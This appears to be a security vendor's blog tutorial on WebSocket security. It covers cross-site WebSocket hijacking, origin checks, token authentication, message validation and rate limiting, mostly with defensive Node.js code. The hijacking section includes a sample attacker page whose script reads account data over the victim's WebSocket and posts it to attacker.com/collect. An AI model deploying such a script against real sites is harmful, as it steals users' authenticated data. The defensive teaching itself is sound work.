Web Security

WebSocket Security: Authentication, Authorization, and Common Vulnerabilities

Prevent cross-site WebSocket hijacking (CSWSH), implement origin checking and token-based auth on the HTTP Upgrade request, and validate all incoming messages properly.

March 9, 20267 min readShipSafer Team

WebSocket Security: Authentication, Authorization, and Common Vulnerabilities

WebSockets provide full-duplex communication over a persistent TCP connection. They power real-time features — chat, live dashboards, collaborative editing, notifications. But WebSockets have a fundamentally different security model from HTTP: the browser's same-origin policy does not apply to the WebSocket handshake in the same way it applies to fetch requests. This opens a class of attack — Cross-Site WebSocket Hijacking — that requires explicit defenses.

How the WebSocket Handshake Works

A WebSocket connection begins with an HTTP upgrade request:

GET /ws HTTP/1.1
Host: app.yourapp.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Origin: https://app.yourapp.com
Cookie: session=eyJhbGciOiJIUzI1NiJ9...

The server responds with HTTP 101 Switching Protocols, and the connection upgrades. All subsequent communication is WebSocket frames, not HTTP.

The security-critical observation: browsers send cookies on WebSocket upgrade requests automatically, just like they do on regular HTTP requests. Unlike CORS-protected fetch() calls, a WebSocket connection request from a cross-origin page is not subject to CORS preflight. The browser simply sends the request.

Cross-Site WebSocket Hijacking (CSWSH)

CSWSH exploits the automatic cookie behavior. An attacker hosts a page that opens a WebSocket connection to your application:

<!-- attacker.com/steal.html -->
<script>
const ws = new WebSocket('wss://app.yourapp.com/ws');
ws.onopen = () => {
  ws.send(JSON.stringify({ type: 'REQUEST_ACCOUNT_DATA' }));
};
ws.onmessage = (event) => {
  fetch('https://attacker.com/collect', {
    method: 'POST',
    body: event.data,
  });
};
</script>

If the victim visits attacker.com while logged into your app, the browser opens the WebSocket with the victim's cookies attached. Your server sees an authenticated connection and streams data to the attacker.

This is analogous to CSRF but for persistent, bidirectional channels. The damage is often greater because the attacker receives a stream of real-time data, not just a single forged action.

Defense 1: Origin Checking

The Origin header in the upgrade request contains the page origin that initiated the WebSocket. Unlike Referer, the Origin header cannot be spoofed by JavaScript in a browser (it is set by the browser itself). Validate it on the server before completing the upgrade.

Node.js with the ws library

import { WebSocketServer, WebSocket } from 'ws';
import type { IncomingMessage } from 'http';

const ALLOWED_ORIGINS = new Set([
  'https://app.yourapp.com',
  process.env.NODE_ENV === 'development' ? 'http://localhost:3000' : '',
].filter(Boolean));

const wss = new WebSocketServer({
  port: 8080,
  verifyClient: ({ origin, req }: { origin: string; req: IncomingMessage }) => {
    if (!origin || !ALLOWED_ORIGINS.has(origin)) {
      console.warn(`WebSocket upgrade rejected from origin: ${origin}`);
      return false; // Causes 403 Forbidden response
    }
    return true;
  },
});

verifyClient runs synchronously during the upgrade. Returning false prevents the connection from being established.

With Next.js App Router (custom server)

// server.ts (custom Next.js server)
import { createServer } from 'http';
import { WebSocketServer } from 'ws';
import next from 'next';

const app = next({ dev: process.env.NODE_ENV !== 'production' });
const handle = app.getRequestHandler();

app.prepare().then(() => {
  const server = createServer(handle);
  const wss = new WebSocketServer({ noServer: true });

  server.on('upgrade', (request, socket, head) => {
    const origin = request.headers.origin;
    const allowed = ['https://app.yourapp.com'];

    if (!origin || !allowed.includes(origin)) {
      socket.write('HTTP/1.1 403 Forbidden\r\n\r\n');
      socket.destroy();
      return;
    }

    wss.handleUpgrade(request, socket, head, (ws) => {
      wss.emit('connection', ws, request);
    });
  });

  server.listen(3000);
});

Note: origin checking alone is sufficient to stop browser-based CSWSH attacks. It does not protect against server-side requests or scripts that can set arbitrary headers.

Defense 2: Token-Based Authentication on the Upgrade

Cookies provide automatic authentication but enable CSWSH. A more robust approach uses an explicit authentication token that the client must include in the upgrade request. Attackers cannot set custom headers in browser WebSocket initiations.

Approach A: Token in query parameter (simple, avoid for sensitive data)

// Client (browser)
const token = await getAuthToken(); // Get JWT from memory (not localStorage)
const ws = new WebSocket(`wss://app.yourapp.com/ws?token=${encodeURIComponent(token)}`);
// Server
import { parse } from 'url';
import jwt from 'jsonwebtoken';

wss.on('connection', (ws, request) => {
  const { query } = parse(request.url ?? '', true);
  const token = query.token;

  if (typeof token !== 'string') {
    ws.close(1008, 'Authentication required');
    return;
  }

  try {
    const payload = jwt.verify(token, process.env.JWT_SECRET) as JWTPayload;
    // Attach user to the WebSocket object for use in message handlers
    (ws as AuthenticatedWS).user = payload;
  } catch {
    ws.close(1008, 'Invalid token');
  }
});

Drawback: tokens in URLs appear in server logs and browser history. Prefer this only for short-lived tokens generated specifically for the WebSocket connection.

Approach B: First-message authentication (more secure)

Send the token as the first WebSocket message after connection:

// Client
const ws = new WebSocket('wss://app.yourapp.com/ws');
ws.onopen = () => {
  const token = sessionStorage.getItem('auth_token');
  ws.send(JSON.stringify({ type: 'AUTH', token }));
};
// Server
const UNAUTH_TIMEOUT_MS = 5000;

wss.on('connection', (ws: AuthenticatedWS) => {
  ws.authenticated = false;

  // Reject connection if auth is not received within 5 seconds
  const authTimeout = setTimeout(() => {
    if (!ws.authenticated) {
      ws.close(1008, 'Authentication timeout');
    }
  }, UNAUTH_TIMEOUT_MS);

  ws.on('message', (data) => {
    let message: Record<string, unknown>;
    try {
      message = JSON.parse(data.toString());
    } catch {
      ws.close(1003, 'Invalid message format');
      return;
    }

    if (!ws.authenticated) {
      if (message.type !== 'AUTH' || typeof message.token !== 'string') {
        ws.close(1008, 'Authentication required');
        return;
      }
      try {
        const payload = jwt.verify(message.token, process.env.JWT_SECRET) as JWTPayload;
        ws.user = payload;
        ws.authenticated = true;
        clearTimeout(authTimeout);
        ws.send(JSON.stringify({ type: 'AUTH_SUCCESS' }));
      } catch {
        ws.close(1008, 'Invalid token');
      }
      return;
    }

    // Handle authenticated messages
    handleMessage(ws, message);
  });
});

This approach avoids tokens in URLs while still using an explicit credential rather than relying solely on cookies.

Defense 3: Message Validation

Every message received from a WebSocket client is untrusted input. Parse and validate it before processing.

import { z } from 'zod';

const chatMessageSchema = z.object({
  type: z.literal('CHAT'),
  roomId: z.string().uuid(),
  content: z.string().min(1).max(2000),
});

const subscribeSchema = z.object({
  type: z.literal('SUBSCRIBE'),
  channel: z.enum(['prices', 'alerts', 'notifications']),
});

const incomingMessageSchema = z.discriminatedUnion('type', [
  chatMessageSchema,
  subscribeSchema,
]);

function handleMessage(ws: AuthenticatedWS, rawData: unknown): void {
  const result = incomingMessageSchema.safeParse(rawData);

  if (!result.success) {
    ws.send(JSON.stringify({
      type: 'ERROR',
      code: 'INVALID_MESSAGE',
      message: 'Message format invalid',
    }));
    return;
  }

  const message = result.data;

  switch (message.type) {
    case 'CHAT':
      handleChatMessage(ws, message);
      break;
    case 'SUBSCRIBE':
      handleSubscription(ws, message);
      break;
  }
}

Use typed discriminated unions (as shown with Zod above) to ensure every message type is handled explicitly and unexpected types are rejected.

Message Rate Limiting

WebSocket connections can flood your server with messages. Apply per-connection rate limiting:

const MESSAGE_LIMIT = 60;
const MESSAGE_WINDOW_MS = 60_000;

function withRateLimit(ws: AuthenticatedWS, handler: (data: unknown) => void) {
  let messageCount = 0;
  const resetInterval = setInterval(() => { messageCount = 0; }, MESSAGE_WINDOW_MS);

  ws.on('message', (data) => {
    messageCount++;
    if (messageCount > MESSAGE_LIMIT) {
      ws.send(JSON.stringify({ type: 'ERROR', code: 'RATE_LIMITED' }));
      return;
    }
    try {
      handler(JSON.parse(data.toString()));
    } catch {
      ws.close(1003, 'Invalid message format');
    }
  });

  ws.on('close', () => clearInterval(resetInterval));
}

Authorization for Subscriptions

When a client subscribes to a channel or room, verify they are authorized to receive that data:

async function handleSubscription(ws: AuthenticatedWS, message: SubscribeMessage) {
  if (message.channel === 'alerts') {
    // Verify user has permission to receive alerts
    const hasAccess = await checkUserChannelAccess(ws.user.userId, message.channel);
    if (!hasAccess) {
      ws.send(JSON.stringify({ type: 'ERROR', code: 'FORBIDDEN' }));
      return;
    }
  }
  subscribeToChannel(ws, message.channel);
}

Never trust that a client who authenticated has blanket access to all WebSocket channels. Authorization must be checked per-subscription, just as HTTP authorization is checked per-request.

Checklist

Before deploying a WebSocket endpoint:

  • verifyClient rejects connections from origins not in your allowlist.
  • Authentication is enforced via explicit token, not solely via cookies.
  • Unauthenticated connections are closed after a short timeout.
  • Every incoming message is parsed with a schema validator before processing.
  • Per-connection message rate limiting is in place.
  • Subscriptions check authorization, not just authentication.
  • HTTPS/WSS is enforced — no plaintext ws:// in production.

WebSocket security does not require exotic tooling. A validated origin check, explicit token auth, and message schema validation cover the vast majority of real-world attack scenarios.

Check Your Security Score — Free

See exactly how your domain scores on DMARC, TLS, HTTP headers, and 25+ other automated security checks in under 60 seconds.